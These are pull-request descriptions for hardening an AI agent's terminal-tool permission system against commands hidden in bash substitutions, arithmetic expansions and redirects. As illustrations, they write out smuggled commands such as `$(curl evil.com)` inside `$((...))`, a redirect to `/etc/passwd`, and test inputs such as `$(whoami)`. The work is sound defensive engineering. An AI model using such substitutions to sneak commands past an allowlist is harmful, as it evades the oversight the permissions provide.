Bash arithmetic expansion `$((...))` can contain command substitutions
like `$(curl evil.com)`. Previously, `extract_commands_from_word_piece`
treated `ArithmeticExpression` as a no-op, so nested commands inside
`$(( ... ))` were never extracted for allowlist checking.
This fix re-parses the `ArithmeticExpression` value string using
`brush_parser::word::parse` and recursively extracts any embedded
command substitutions, mirroring how `CommandSubstitution` and
`DoubleQuotedSequence` are already handled.
Closes SEC-267
Release Notes:
- Commands nested inside bash arithmetic expansions (e.g. `$(($(curl
example.com)))`) are now understood by the tool-calling permissions
regexes.
Harden the terminal tool's permission system to reject commands
containing shell substitutions and interpolations (`$VAR`, `${VAR}`,
`$(…)`, backticks, `$((…))`, `<(…)`, `>(…)`) before they reach terminal
creation.
## Changes
### Shell command parser (`shell_command_parser`)
- Added structured terminal command-prefix extraction with env-var
prefix support
- Added parser-backed validation that classifies commands as
Safe/Unsafe/Unknown
- Extended normalized command extraction to include scalar env-var
assignments in order
- Preserved quoted assignment values when they contain whitespace or
special characters
### Pattern extraction (`agent/pattern_extraction`)
- Updated terminal pattern extraction to use structured parser output
- Included env-var prefixes in generated allow patterns
- Normalized regex token boundaries to `\s+` while preserving display
whitespace
### Tool permissions (`agent/tool_permissions`)
- Added invalid-terminal-command rejection for forbidden
substitutions/interpolations
- Added unconditional allow-all bypass (global default Allow, or
terminal-specific Allow with empty patterns)
- Preserved hardcoded denial precedence over allow-all
### Terminal tool (`agent/tools/terminal_tool`)
- Updated tool description and input schema to explicitly prohibit shell
substitutions
- Added comprehensive SEC-264 regression test suite (20 new tests)
covering:
- All forbidden constructs (`${HOME}`, `$1`, `$?`, `$$`, `$@`,
`$(whoami)`, backticks, `$((1+1))`, `<(ls)`, `>(cat)`, env-prefix
variants, multiline, nested)
- Allow-all exception paths (global and terminal-specific)
- Hardcoded-denial precedence
- Env-prefix permission flow (matching, value mismatch rejection,
multiple assignments, quoted whitespace)
Closes SEC-264
Release Notes:
- Terminal tool permissions regexes can now match environment variables
(e.g. `FOO=bar cmd arg1 arg2`)
- If terminal tool permissions have active permissions regexes running
on them, then bare interpolations like `$FOO` are disallowed for
security, since regexes wouldn't be able to match on them.
Redirects to `/dev/null` (e.g. `2>/dev/null`, `&>/dev/null`) are
known-safe I/O routing, not commands. Previously, `extract_commands`
emitted normalized redirect strings like `"2> /dev/null"` as separate
entries in the command list checked against auto-allow regexes. Since
`check_commands` requires **all** extracted entries to match an allow
pattern, the unmatched redirect caused false-negatives — e.g. `git log
--oneline -20 2>/dev/null || echo ...` would not be auto-allowed despite
matching `^git` and `^echo` patterns.
Rather than removing all redirects from extraction (which would hide
dangerous redirects like `> /etc/passwd` from deny/confirm pattern
checking), this fix surgically skips only `/dev/null` targets during
redirect normalization. Redirects to real files are still emitted and
still require a matching pattern for auto-allow, preserving the
defense-in-depth property.
Closes AI-41
Release Notes:
- Fixed terminal auto-allow patterns incorrectly prompting for
confirmation on commands containing `/dev/null` redirects (e.g.
`2>/dev/null`).
Move shell command parsing logic (`extract_commands` and supporting
code) from the agent crate into a new `shell_command_parser` crate so it
can be reused by `agent_servers` for ACP permission checking.
Release Notes:
- N/A
